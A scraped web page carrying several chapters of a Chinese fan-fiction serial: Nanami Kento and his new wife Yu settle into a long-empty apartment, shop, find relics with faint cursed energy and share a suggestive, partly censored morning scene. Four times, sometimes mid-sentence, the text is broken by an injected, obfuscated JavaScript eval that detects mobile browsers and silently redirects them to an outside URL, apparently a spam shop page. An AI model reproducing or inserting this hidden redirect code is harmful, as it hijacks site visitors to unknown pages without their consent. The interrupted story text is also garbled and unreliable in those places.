;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154052|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题吗?” “有。”悠举起手,像小学生提问,“我可以申请在超市买一个草莓蛋糕吗?小小的那种,当下午茶。” “申请驳回。”七海头也不抬,“本周的甜食预算已经分配给坂本太太的曲奇和你昨天想买的便当盒。” “那如果我用画稿的稿费买呢?” “那是你的个人收入,你有权自主支配。”七海推了推眼镜,“但建议优先考虑储蓄和必要开支。” 悠托着腮看他,嘴角带着笑意:“七海海,我们才结婚四周,你就已经进入‘严厉丈夫’模式了吗?” “这是合理的家庭财务管理。”七海认真地说,“建立健康的消费习惯对长期生活很重要。” “知道啦知道啦。”悠笑起来,用筷子夹起一块烤鱼放到他碗里,“那严厉的丈夫大人,请多吃一点,今天还要干体力活呢。” 七海看着碗里多出来的鱼,停顿了一秒,然后夹起吃掉。 味道很正常,火候恰到好处,咸淡适中。 “谢谢。”他说。 “不客气。”悠眼睛弯弯的,“对了,下午七海海要处理什么个人事务?需要我帮忙吗?” “不需要。”七海说,“只是去一趟社区公园,确认一些事情。” “公园?”悠抬起头,“是昨天我们看到的那个吗?有秋千和滑梯的?” “……嗯。” “我也想去。”悠立刻说,“可以吗?我想去写生,公园的风景应该不错。而且一个人在家整理好无聊……” 七海看着她。 她的表情很自然,眼睛里是纯粹的期待。 但不知道为什么,他总觉得这句话里有别的意思。 “如果你能完成上午的整理任务。”他终于说。 “保证完成!”悠立刻坐直身体,“那我们现在就开始?我先去洗碗!” 她端起碗筷跑向厨房,动作轻快得像只鸟。 七海看着她的背影,又看了看窗外——从六楼可以看见社区公园的一角,秋千静静地挂在晨光里,没有晃动。 至少现在没有。 上午的整理工作进行得很顺利。 书房里,七海的书按照类别和大小整齐地摆上书架:金融理论、投资分析、经济学原理,全部按照出版时间排序。 悠的书则呈现出完全不同的风格:恐怖漫画全集、民俗学图鉴、都市传说考据,还有大量的素描本和画稿,堆在书架的另一侧。 “七海海的书好整齐。”悠跪坐在地板上,整理着自己的画稿,“像图书馆一样。” “分类整理可以提高检索效率。”七海将最后一本书放上书架,“你的画稿需要分类吗?我可以帮忙。” “不用不用。”悠连忙摆手,“我的画稿有自己的顺序……虽然看起来乱,但我都知道在哪里。” 她说着抽出一本素描本,翻开某一页。 上面画着一个扭曲的人形,线条流畅但透着诡异。 七海瞥了一眼,发现那幅画的背景很像这间公寓的客厅。 “这是……?” “之前的练习稿。”悠迅速合上本子,塞回箱子里,“画得不好,不要看啦。” 七海没有追问。 每个人都有自己的创作隐私,这点他尊重。 5. 涟漪 十点二十八分,七海准时打电话联系房屋检修公司。 电话那头的客服声音机械而礼貌,约定下周三上午十点上门评估。 “需要特别检查的项目包括:水电管线老化情况、墙体是否有渗漏、木质结构是否有腐朽、以及……”七海顿了顿,“房屋空置十三年可能带来的特殊问题。” “特殊问题是指?”客服问。 “霉菌、虫害、或者结构上的安全隐患。”七海说了一个标准答案。 挂断电话时,悠正蹲在客厅角落,看着那块“猫形污渍”。 她的表情很专注,黑色眼眸一眨不眨。 “怎么了?”七海走过去。 “七海海。”悠没有抬头,“你说,如果我们把这块地板换掉,会怎么样?” “从装修角度,局部更换地板可能会导致色差和不平整。”七海在她身边蹲下,“建议整体更换,或者保留原状做表面处理。” “保留的话……”悠伸出手指,轻轻触摸污渍的边缘,“它会一直在这里吧?” “污渍一旦形成,很难彻底清除。”七海看着她的侧脸,“你为什么这么在意这个?” 悠沉默了几秒,然后抬起头,露出一个有些模糊的笑容。 “因为它在这里很久了。”她轻声说,“可能比我住在这里的时间还要久。如果把它弄掉,就像是……抹掉了一部分房子的记忆。” 七海看着她。晨光从窗户射进来,照亮她脸上细微的绒毛,也照亮她眼中某种他读不懂的情绪。 “建筑物没有记忆。”他重复昨天的说法。 “嗯。”悠点点头,站起身,“我知道。只是随便说说。我们去超市吧?我列了购物清单哦!” 她从口袋里掏出一张折叠的纸,展开。上面用圆润的字迹写着:米、鸡蛋、牛奶、卫生纸、垃圾袋……还有在角落用小字写的“草莓蛋糕(小小的)”,后面画了个笑脸。 七海看着那个笑脸,嘴角微微动了一下。 “……蛋糕可以买。”他说。 “真的吗?”悠的眼睛立刻亮起来。 “但尺寸不能超过直径十五厘米,并且需要计入下周的甜食预算。” “没问题!”悠跳起来抱住他的手臂,“七海海最好了!那我们快走吧!” 她的身体贴着他,头发扫过他的肩膀,身上散发着早晨用的草莓身体乳的甜香。 七海感觉自己的心跳又快了零点三秒。 这很不专业。 但他没有推开她。 上午十一点十分的超市,挤满了周末采购的家庭主妇和退休老人。 七海推着购物车,悠走在旁边,手里拿着清单。 她的打扮很居家:白色的棉质连衣裙,外面套了件浅蓝色的开衫,头发松松地扎在脑后,几缕碎发落在颈侧。 但即使这样,还是吸引了不少目光——她的长相和气质在这种社区超市里显得有些突兀。 “鸡蛋要买哪一种?”悠站在冷藏柜前,歪着头看标签,“有特价的和普通的,差价三十日元。” “普通的。”七海说,“特价品可能接近保质期,不符合食品安全最优原则。” “好。”悠拿了一盒普通的,“那牛奶呢?这个牌子的在买一送一。” “查看生产日期和保质期。如果能在保质期内消耗完,可以考虑。” 悠弯下腰仔细看日期,连衣裙的领口微微下垂。七海迅速移开视线,看向旁边的调味料区。 “可以买!”悠直起身,把两盒牛奶放进购物车,“保质期到下周三,我们肯定能喝完。七海海每天都要喝牛奶,对吧?” “成年人每日摄入三百毫升乳制品是合理的。”七海推着车往前走,“但并非必需。” “可是七海海还在长身体嘛。” “我二十五岁,生长期已经结束。” “心理上的成长也是成长呀。”悠笑着说,又靠近他一些,“而且多喝牛奶对身体好,这是我外婆说的。” 他们走过生鲜区,悠认真地挑选蔬菜,七海在旁边提供“营养价值与性价比分析”。 周围有几个主妇在窃窃私语,目光时不时瞟过来。 “那就是六楼新搬来的小两口吧?” “长得真俊……就是感觉不太搭。男的太严肃,女的又太漂亮。” “听说结婚才一个月不到?太快了。” “而且那房子空了十多年……怎么就突然搬进去了?” 声音压得很低,但七海还是捕捉到了关键词。 他面色不变,继续看着悠比较两种胡萝卜的价格。 悠似乎也听见了,但她只是抬起头,对那边的主妇们露出一个温和的笑容,点了点头。 主妇们立刻尴尬地移开视线,假装在挑选土豆。 “七海海。”悠小声说,手轻轻碰了碰他的手臂,“她们在说我们呢。” “我知道。” “不生气吗?” “无意义的议论不需要在意。”七海说,“但如果你觉得不舒服,我们可以换个时间采购。” “没有不舒服。”悠摇摇头,反而笑得更开心了,“反而觉得……很有意思。像在看真人版的社区连续剧,而我们自己是主角。” 这个比喻让七海多看了她一眼。她的表情很自然,眼睛里闪着好奇和兴奋的光,像是真的在享受这种被关注的感觉。 “你的心态很好。”他说。 “因为和七海海在一起呀。”悠很自然地说,然后拿起一包零食,“这个可以买吗?新出的芝士条,看起来好好吃。” “零食类每周预算五百日元。这包售价二百八十日元,你需要放弃本周的其他零食选择。” “唔……那算了。”悠依依不舍地把零食放回去,“还是蛋糕更重要。” 七海看着她失望的表情,停顿了两秒,然后从货架上拿了一包小的,放进购物车。 “小包装,一百二十日元。”他说,“这样你还有三百八十日元的余额。” 悠愣了一下,然后眼睛慢慢亮起来,像是星星在黑暗中一颗颗点亮。 “七海海……”她小声说,抓住他的袖子晃了晃,“你真好。” “这只是合理的预算分配。”七海别过脸,推着车走向收银台。 但他没有把那包零食从车里拿出来。 结账时遇到了一点小意外。 收银员是个六十岁左右的阿姨,动作慢但很仔细。 扫码到一半时,她抬起头看了看悠,又看了看七海。 “你们是……阳光公寓新搬来的吧?” “是的。”七海点头。 “哎呀,我住你们隔壁楼。”阿姨笑着说,手里继续扫码,“昨天就听说了,浅川老太太的外孙女带着新婚丈夫搬回来了。真好,那房子空了那么久,总算有人气了。” “您认识我外婆?”悠问。 “认识认识。”阿姨点点头,“浅川太太人很好,以前常来超市,总是买很多点心,说‘给我家小孙女留着’。就是你吧?” 悠的眼睛微微睁大:“嗯……是我。” “老太太后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154053|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来突然搬回乡下,我们还奇怪呢。”阿姨把商品装袋,动作慢了下来,“走之前她还来买了最后一次东西,买了三大袋,说‘以后可能不常回来了’。那之后,就再也没见过她。” 空气中沉默了几秒。收银机发出嘀嘀的声音。 “外婆她……三年前去世了。”悠轻声说。 “啊……这样啊。”阿姨的动作顿了顿,然后叹了口气,“抱歉,提起伤心事了。不过你能回来住,老太太在天之灵一定很高兴。” 她装好最后一个袋子,抬起头看着两人,眼神温和:“那房子空了这么久,刚住进去可能会有些不习惯。要是有什么需要帮忙的,尽管说。我姓佐藤,就住隔壁楼301。” “谢谢您。”悠微微鞠躬。 “不客气不客气。”佐藤阿姨摆摆手,又看向七海,“小伙子要好好照顾妻子啊。那房子……嗯,总之好好过日子。” 最后那句话的尾音有些微妙。七海敏锐地捕捉到了,但他只是点点头:“我会的。” 走出超市时,悠提着较轻的袋子,七海提着重的。 阳光很好,社区公园里传来孩子的笑声。 “佐藤阿姨人真好。”悠说。 “嗯。” “她说外婆走之前买了三大袋东西……”悠的声音低了下去,“是给我的吧。虽然我那时候已经不住这里了。” 七海侧头看她。悠低着头走路,刘海遮住了眼睛,看不清表情。 “你想念她。”他说。 “嗯。”悠点点头,“外婆是我唯一的亲人。父母的事我不记得了,是外婆把我带大的。她总是说‘小悠要坚强,就算一个人也要好好生活’。” 她抬起头,对七海露出一个笑容,但眼睛有点红。 “不过现在我不是一个人了。我有七海海了。” 七海停下脚步。 他们站在社区公园的入口处,阳光透过树叶洒下斑驳的光点。 孩子们在秋千和滑梯间奔跑,母亲们坐在长椅上聊天。 “是的。”七海说,声音比平时柔和一些,“你不再是一个人了。” 悠看着他,然后放下手中的袋子,张开手臂抱住他。 这是一个很用力的拥抱,她的脸埋在他胸口,手臂环得很紧。 周围有几个主妇看过来,窃窃私语。 但七海没有在意。 他抬起手,轻轻拍了拍她的背。 “七海海。”悠的声音闷闷的。 “嗯。” “你会一直在我身边吗?” 这个问题太直接,太沉重。七海沉默了几秒,然后说: “我会尽力。” 这不够浪漫,不够坚定,但这是他能给出的最诚实的回答。 他无法承诺“永远”,因为灰原的死教会他,永远是一个过于奢侈的概念。但他可以承诺尽力。 悠似乎听懂了。 她松开手,抬起头,眼睛还是红的,但笑容真实了很多。 “嗯。”她说,“我也会尽力的。” 他们重新提起袋子,走向公寓。经过公园时,七海的目光扫过那架秋千——现在正被一个小女孩坐着,她的母亲在后面轻轻推着。 秋千正常地晃动着,发出轻微的吱呀声。 一切看起来都很正常。 但七海注意到,秋千的座板上,昨天在月光下看到的那个手掌印的位置,现在坐着小女孩。 而那个位置,正好避开了手掌印所在的区域。 就像小女孩下意识地避开了那里一样。 6. 幸福 午餐是简单的乌冬面,配上午餐肉和蔬菜。 两人面对面坐在客厅的矮桌旁,窗外传来周末午后的慵懒声音。 “下午我真的可以去公园写生吗?”悠一边吃面一边问,“我带了素描本和炭笔。” “如果你完成上午承诺的整理任务。”七海说,“书房已经整理完毕,但客厅还有三个箱子。” “那两个箱子是我的画具和参考资料,最后一个……”悠顿了顿,“是外婆留下的一些杂物。我还没打开。” “需要我帮忙吗?” “不用。”悠摇摇头,“我想自己整理。可能会花点时间,因为要决定哪些保留,哪些处理掉。” “合理。”七海点头,“那么下午的安排是:两点到四点,你整理杂物,我去公园。四点半我们一起准备晚餐。有问题吗?” “没有。”悠笑着说,“不过七海海去公园要做什么?锻炼身体吗?” “……算是。”七海说了一个模糊的答案。 悠没有追问,只是眨了眨眼:“那要记得涂防晒霜哦。今天太阳很大。” 午饭后,悠开始整理最后一个箱子。 七海换上外出的衣服——深灰色的Polo衫和卡其裤,看起来就像是普通周末出门散步的上班族。 出门前,他站在玄关犹豫了一秒,然后走回客厅。 悠正坐在地板上,从箱子里拿出一本相册,翻开。 “悠。”七海叫她。 “嗯?”悠抬起头。 “如果有任何……异常的情况。”七海斟酌着用词,“打电话给我。我会立刻回来。” 悠看着他,黑色眼眸在午后的光线里显得格外清澈。 “异常的情况指什么?”她问。 “任何让你觉得不舒服、不安全的事情。”七海说,“声音、气味、物品……任何东西。” 悠沉默了几秒,然后点点头。 “好。”她说,“不过应该不会有啦。七海海不要太担心,好好享受公园时光。” 七海看着她,看着她温和的笑容和清澈的眼睛,最终点了点头。 “我四点前回来。” “嗯。路上小心。” 社区公园比七海预想的要大一些。除了儿童游乐区,还有一片小小的草坪、几个长椅和一个饮水处。 现在是下午两点半,公园里有七八个孩子和五六个家长,气氛热闹而寻常。 七海在离秋千不远的长椅上坐下,从口袋里掏出一本小笔记本和一支笔,假装在记录什么。 实际上,他在观察。 咒术师的训练让他能够感知咒力的流动和残秽的痕迹。 他闭上眼睛,集中精神,将感官延伸到周围—— 孩子们的欢笑声,母亲的谈话声,风吹过树叶的声音。 咒力反应微弱,几乎是背景噪音级别。 这个公园很干净,至少现在很干净。 他睁开眼睛,目光落在秋千上。现在是一个小男孩在玩,他的妹妹在旁边等着。 秋千正常地晃动着,座板是塑料的,上面有卡通图案,看起来是几年前更换过的。 但七海记得昨天月光下看到的景象:座板上有一个手掌印,很小,像是孩子的。 他站起身,装作散步的样子走近秋千区。 小男孩刚好跳下秋千,跑向滑梯。七海走到秋千前,蹲下身,假装系鞋带。 近距离观察,塑料座板上确实有一些磨损和划痕,但没有手掌印的痕迹。 他用手指摸了摸座板表面——光滑,略微有些温热,没有水渍,没有凹陷。 难道昨天是错觉?月光下的错觉? 但七海建人很少产生错觉。他的观察力和判断力在咒术师中也是顶尖的,这是他能从那些疯狂的任务中活下来的原因之一。 他站起身,目光扫过周围。公园很普通,很安全。 几个主妇坐在不远处的长椅上聊天,话题从孩子的成绩转到超市特价。 “——所以说,六楼那间房子真的有人搬进去了?” 七海的耳朵捕捉到了关键词。他没有转头,只是站在秋千旁,看着孩子们玩耍。 “是啊,昨天搬来的。小两口,看起来很年轻。” “可是那房子……真的没问题吗?空了那么久。” “能有什么问题?就是间老房子而已。” “话不是这么说。你还记得吗,大概七八年前,那栋楼不是出过事?” 七海的身体微微绷紧。他维持着放松的姿态,但所有注意力都集中在身后的对话上。 “出事?什么事?” “具体我也不清楚,只是听说……有个孩子失踪了。就在这附近。” “真的假的?我怎么没听说?” “那时候你还没搬来吧。我也是听以前的老住户说的,那孩子好像是五楼还是六楼的……后来就再也没找到。” “哎呀,别说这么可怕的事。大白天的……” “也是也是。不过新搬来的那对夫妻,看起来倒是挺恩爱的。今天早上我在超市看到他们,男的特别认真地在挑菜,女的就在旁边笑,画面还挺甜。” “是吗?那我下次也看看……” 对话转向了日常八卦。 七海转身离开秋千区,走向公园的另一侧。 他的表情平静,但大脑在快速处理信息: 七八年前,失踪的孩子,可能住在这栋楼。 如果孩子是在这附近失踪的,而且一直没有找到……那么形成地缚灵或者残留强烈咒力的可能性很高。 但为什么公园现在的咒力反应这么微弱? 除非—— 七海停下脚步,看向公寓楼的方向。 从公园这里,可以清楚看到六楼的窗户。 他们的窗户。 除非那个“东西”不在公园。 而在那间空了十三年的房子里。 下午三点四十分,七海回到公寓。 他用钥匙打开门时,悠正坐在地板上,周围摊开了一堆杂物:旧照片、信件、一些小饰品,还有几本笔记本。她的表情很专注,手里拿着一本褪色的相册。 “我回来了。”七海说。 “欢迎回来。”悠抬起头,对他露出笑容,“公园好玩吗?” “还可以。”七海脱下鞋子,“你整理得怎么样?” “发现了很多回忆。”悠拍了拍身边的地板,“七海海要来看看吗?都是外婆留下的。” 七海在她身边坐下。 悠翻开相册,里面是黑白和彩色的老照片混合。 大部分是一个女性的照片——从年轻到年老,应该就是悠的外婆。还有一些是悠小时候的照片:扎着双马尾的小女孩,笑容腼腆。 “这张是我五岁的时候。”悠指着一张彩色照片,上面的她抱着一个破旧的兔子玩偶,“在公园的秋千上拍的。你看,就是这个公园。” 七海看着照片。 确实是同一个公园,秋千看起来更旧一些,背景里的公寓楼也显得新一些。 五岁的悠坐在秋千上,笑容灿烂。 “外婆很爱拍照。”悠轻声说,“她说‘时光会流逝,但照片会把瞬间留下来’。所以她给我拍了很多照片,直到我上中学离开这里。” 她翻到相册的最后一页。 那里夹着一封信,信封已经泛黄。 “这是外婆写给我的最后一封信。”悠拿起信,但没有打开,“在她去世前一个月寄来的。我一直没敢看。” “为什么?”七海问。 “因为……”悠的声音低了下去,“外婆在信里说,她有重要的事情要告诉我。关于我的父母,关于我出生的真相。但我一直不敢知道。” 七海看着她。悠低着头,手指轻轻摩挲着信封,表情是他从未见过的犹豫和不安。 “你可以选择不看。”七海说,“或者,等你准备好的时候再看。” “可是……”悠抬起头,黑色眼眸里闪烁着复杂的光,“如果里面说的是很可怕的事情呢?如果我知道之后,就再也无法像现在这样生活了呢?” 这个问题太沉重。七海沉默了几秒,然后伸出手,轻轻覆在她握着信的手上。 “无论真相是什么。”他说,“你现在的生活不会改变。你还是七海悠,还是我的妻子,还是住在这间公寓里画恐怖漫画的人。” 悠看着他,眼睛慢慢睁大,然后一点点湿润。 “七海海……”她小声说。 “这是我作为丈夫的承诺。”七海说,声音平静但坚定,“所以,你可以按照自己的节奏来决定。不需要现在就看。” 悠的嘴唇动了动,然后她放下信,转身抱住了他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154054|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这次拥抱很用力,她的身体微微颤抖。 “谢谢。”她把脸埋在他肩头,声音闷闷的,“谢谢你,七海海。” 七海轻轻拍着她的背,目光落在摊开的那堆杂物上。 在旧照片和信件之间,他看到了一个东西—— 一个小木牌,上面用褪色的墨迹写着什么。 牌子的形状很奇特,边缘有不规则的锯齿,像是被掰断的一部分。 更重要的是,七海能感觉到上面附着微弱的咒力。 非常微弱,几乎察觉不到,但对于前咒术师的他来说,就像是黑暗中的一点火星。 “那个木牌是……?”他问,尽量让声音保持平静。 悠松开手,顺着他的目光看去。 “啊,这个。”她拿起木牌,在手里翻看,“不知道是什么。箱子里有很多奇怪的小东西,可能是外婆收集的。这个有什么特别吗?” “看起来像是某种护身符。”七海说,接过木牌仔细查看。 木牌的材质是普通的杉木,但上面的墨迹——虽然褪色了,但他能认出那是咒文的变体。 不是正规的咒术符文,更像是民间巫术用的符号。 “护身符?”悠凑过来看,“难怪外婆会留着。她以前有点迷信,总喜欢收集这种东西。” “你知道这是从哪里来的吗?” 悠摇摇头:“不知道。箱子里还有很多类似的:小镜子、风铃、一些奇怪形状的石头……外婆好像很喜欢这些东西。” 七海把木牌还给她,目光扫过其他杂物。 他注意到了更多细节:一面小镜子的背面刻着扭曲的图案,一个风铃的吊坠形状像人眼,几块石头的排列方式隐约构成某种阵型。 这些都不是普通的纪念品。 “你外婆……”七海斟酌着用词,“对这些超自然的东西很感兴趣?” “嗯。”悠点点头,表情自然,“她总说‘世界上有很多我们不了解的东西,保持敬畏是好的’。但我一直觉得她只是喜欢收集有趣的小物件而已。” 她说着,开始把杂物收拢起来:“这些我要留着吗?还是处理掉?” “如果你觉得有纪念意义,可以保留。”七海说,“但建议放在收纳箱里,不要摆在外面。” “为什么?” “避免灰尘和损坏。”七海给出了一个合理的理由。 悠看着他,眨了眨眼,然后笑起来:“七海海又在担心了?没关系啦,这些只是旧东西而已。不过听你的,我会收好的。” 她开始把物品装回箱子。七海站起身,走向厨房。 “我来准备晚餐。”他说,“你想吃什么?” “都可以!七海海做的我都喜欢!” 厨房里,七海开始处理食材,但大脑在快速思考: 那些杂物上的咒力痕迹很古老,至少十年以上。 如果不是悠的外婆刻意收集,就是那些东西自己聚集到了她身边。 而如果和七八年前失踪的孩子有关…… 他切菜的动作停顿了一瞬。 刀锋在砧板上发出清脆的声响。 “七海海。”悠的声音从客厅传来,“我可以把这张照片摆出来吗?是我和外婆的合照。” 七海走出厨房。 悠手里拿着一张装裱好的照片,上面是她和一位白发老太太的合影。 两人都笑得很开心,背景是这间公寓的客厅。 “可以。”七海说,“摆在哪里?” “电视柜上怎么样?”悠比划着,“这样一进门就能看到。” “可以。” 悠把照片摆好,然后退后几步,满意地点点头。 午后的阳光照在照片上,玻璃相框反射出温暖的光。 “这样感觉更像家了。”她轻声说。 七海看着她。她站在阳光里,黑发披散,白色的连衣裙被镀上一层金边。 她的笑容很温柔,眼睛里是对新生活的期待。 但七海的目光越过她,落在电视柜旁的地板上。 那块“猫形污渍”还在那里。 在阳光下,它的轮廓似乎更清晰了一些。 而且,七海注意到,污渍的形状——如果从某个角度看——不太像猫。 更像是一个蜷缩的人形。 一个很小的人形。 7. 访客 七海建人在一种陌生的温暖中醒来。 不是温度计上的数字,而是切实的重量——悠整个人侧蜷在他身边,手臂横搭在他腰上,脸埋在他颈窝,温热的呼吸一下下拂过他的皮肤。 她的一条腿还缠着他的,两人像两株共生植物般纠缠在晨光熹微的床铺里。 七海睁开眼,第一个念头不是时间,而是她。 悠的睡衣在睡梦中被蹭得凌乱,领口大开,露出大片白皙的肩颈和锁骨。 而那片皮肤上——七海的目光定住了——还残留着前几天夜晚的痕迹。 淡粉色的像落樱一样散落在她颈侧和锁骨凹陷处,有些已经开始褪色,有些还是新鲜的淡红。 他记得每一个痕迹是如何留下的。 记得她仰起脖颈时喉间的轻颤,记得她手指揪紧床单的弧度,记得她在最意/乱/情/迷时小声叫出的“七海海”。 那些画面不受控制地涌入脑海,让他的呼吸重了一拍。 “嗯……” 怀里的悠动了动,脸在他肩窝蹭得更深,发出一声猫似的咕哝。 她的黑发散乱在枕头上,有几缕粘在汗湿的额角,在透过窗帘缝隙的晨光里泛着深蓝的光泽。 七海的手臂还环着她。 他的手掌贴在她后/腰,能透过薄薄的睡衣感受到她身体的温度和柔软的曲线。 昨晚——或者说今天凌晨——他们睡得比平时晚。 悠以“庆祝表姐明天要来”为由,缠着他多看了两部恐怖片的开头,然后又在睡前以“有点害怕”为借口,整个人钻进他怀里不肯出来。 结果就是现在这样。 “悠。”七海低声叫她,声音带着刚醒的沙哑。 “唔……”悠没睁眼,只是把他抱得更紧,“再睡五分钟……就五分钟……” “已经过了你平时起床的时间。” “周日没有‘平时’……”她迷迷糊糊地反驳,脸在他胸口蹭了蹭,“七海海身上好暖和……不想起来……” 她的睡衣下摆因为动作又往上蹭了一截,露出腰/侧白皙的皮肤和一小截底裤边缘。 七海的视线落在那里,喉结动了动。 “你需要洗漱,还要准备接待你表姐。”他试图保持理性的声音,但手掌却不自觉地在她后/腰/摩挲了一下。 悠似乎感觉到了,发出一声轻笑。 她半睁开眼,黑色的眼眸里还蒙着睡意,却闪着狡黠的光。 “七海海明明也不想起来……”她小声说,抬起头,嘴唇几乎贴到他下巴,“你的心跳好快。” 七海没有说话。 他确实不想起来。 悠的身体温热地贴着他,她身上身体乳的甜香混合着睡眠特有的暖意,像一张柔软的网,把他困在这个晨光里的床铺上。 “而且……”悠的手指轻轻抚上他/胸/口,隔着睡衣画圈,“七海海这里也有痕迹哦。我留下的。” 她指的是他锁骨附近一个淡淡的咬痕。 三天前的晚上,她在某个时刻没控制住力道留下的。 当时七海只是闷哼了一声,然后口勿得更深。 回忆让他的身体产生了更直接的反应。 七海深吸一口气,抓住她作乱的手。 “悠。”他的声音低了下来,“别闹。” “我没闹呀。”悠眨眨眼,表情无辜,但手指却反过来勾住他的,“就是觉得……七海海早上刚醒的样子,和平常好不一样。” “哪里不一样?” “更……”她想了想,笑了,“更温柔。也更……危险。” 她说着,凑上来吻了吻他的下巴,然后是嘴角。 很轻的吻,像羽毛拂过。 但七海能感觉到她嘴唇的柔软和温度。 “悠。”他又叫了一次她的名字,这次带着警告的意味。 但悠没听。 她继续口勿他,从嘴角到脸颊,最后停在耳垂,轻轻/含/住。 七海的身体瞬间绷紧了。 “你知道吗……”她在耳边轻声说,温热的气息拂过他的耳廓,“我最喜欢早上的七海海了。因为这个时候的七海海,最不像‘七海海’。” 她的手滑进他的睡衣下摆,贴在他/腹/肌/上。 七海倒吸一口凉气,抓住了她的手腕。 “我们还有安排——”他试图说。 “表姐十点才来。”悠打断他,眼睛亮晶晶地看着他,“现在才……几点了?” 七海下意识想去看钟,但悠吻住了他。 和刚才那些轻吻完全不同。 深,急,带着刚睡醒的迷糊和某种更清醒的/渴/望。 悠的/蛇/头探进来,舔过他的上颚,七海闷哼一声,扣住她的后脑加深了这个吻。 晨光在房间里慢慢移动,从窗帘缝隙漏进来,照亮了床上纠缠的人影。 睡/衣被扔到地上,被子滑/到/腰/间。 七海撑在悠上方,看着她散乱在枕头上的黑发,看着她泛红的脸颊和湿润的眼睛。 “七海海……”悠轻声叫他,手臂环上他的脖子,“可以吗?” 理智告诉他不可以。 他们还有事要做,要准备接待客人,要收拾房间,要按照计划开始新的一天。 但她的退/缠上了他的要。 七海低头吻她,手掌抚过她腰侧的曲线,感受着她身/体/的/颤/抖。 悠仰起头,露出脆弱的脖颈,上面那些痕迹在晨光下格外清晰。 他吻上其中一个痕迹,用蛇尖轻轻填过。 悠发出一声短/促的/传/息,手指插进他的头发里。 就在七海的手滑向她大/推/内策时—— “叮铃铃——” 床头的闹钟响了。 两人同时僵住。 七海保持着俯身的姿势,悠的眼睛还蒙着水汽。 闹钟持续响着,机械而刺耳。 “……该死。”七海罕见地低声骂了一句。 悠眨了眨眼,然后噗嗤一声笑了出来。 她笑得全身都在抖,连带着七海的身体也跟着颤动。 “七海海骂脏话了……”她边笑边说,“第一次听……” 七海撑起身,有些懊恼地抓了抓头发。 他伸手按掉闹钟,房间重新陷入寂静——除了悠还没止住的笑声。 “别笑了。”他说,但语气里没有真正的责备。 “对不起嘛……”悠止住笑,但还是弯着眼睛,“就是觉得……好可爱。七海海懊恼的样子。” 七海看着她,看着她笑得泛红的脸,看着她散乱的黑发和敞开的睡衣。 晨光正好照在她身上,让她看起来像某种不真实的存在。 他俯身,在她唇上重重吻了一下。 “起床。”他说,声音还有些沙哑,“再不起来,就真的来不及了。” “那如果来不及……”悠笑着搂住他的脖子,“就让他们等一会儿嘛。” 七海看了她三秒,然后摇摇头,坐起身。 “不行。”他说,但伸手把她也拉了起来,“今天有安排,必须按计划进行。” 悠靠在他肩上,懒洋洋地不动:“七海海好严格……” “这是效率问题。”七海说,但手指却温柔地梳理着她乱糟糟的头发,“而且,你表姐第一次正式来访,我们应该做好准备。” “知道啦。”悠抬起头,在他脸颊上亲了一下,“那七海海抱我去浴室?我腿软,走不动。” “……你退软不是我造成的。” “就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154055|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是就是。”悠耍赖,“所以七海海要负责。” 七海看着她,最终还是叹了口气,弯腰把她打横抱了起来。 悠立刻搂住他的脖子,得意地笑了。 从卧室到浴室的短短几步路,七海走得有些艰难——不是因为悠的重量,而是因为她一直在他耳边小声说话。 “七海海的级肉好结实……” “别乱动。” “我哪有乱动,就是摸摸嘛……这里也有很/迹,是我咬的吗?” “……别说了。” “害羞了?七海海耳朵红了哦——” 浴室门关上,隔绝了后面的对话。 晨光继续在房间里移动,照亮了地上散乱的睡衣,照亮了床单上的褶皱,照亮了这个周日起始的、带着甜蜜混乱的清晨。 八点四十分,厨房里飘出烤蛋糕的香气时,七海已经恢复了平日的模样。 他穿着浅灰色的家居服,头发一丝不苟地梳理过,眼镜后的蓝眼睛冷静清明。 只有仔细看,才能发现他颈侧有一道新鲜的抓/痕/,以及耳根还残留着淡淡的红晕。 悠在烤箱前弯腰观察蛋糕的膨胀情况。 她换了条米色的棉质连衣裙,头发松松挽成髻,用一根铅笔固定——她说这样“有艺术家的随性感”。 但有几缕碎发还是逃了出来,垂在颈边,正好遮住了几个明显的/痕集。 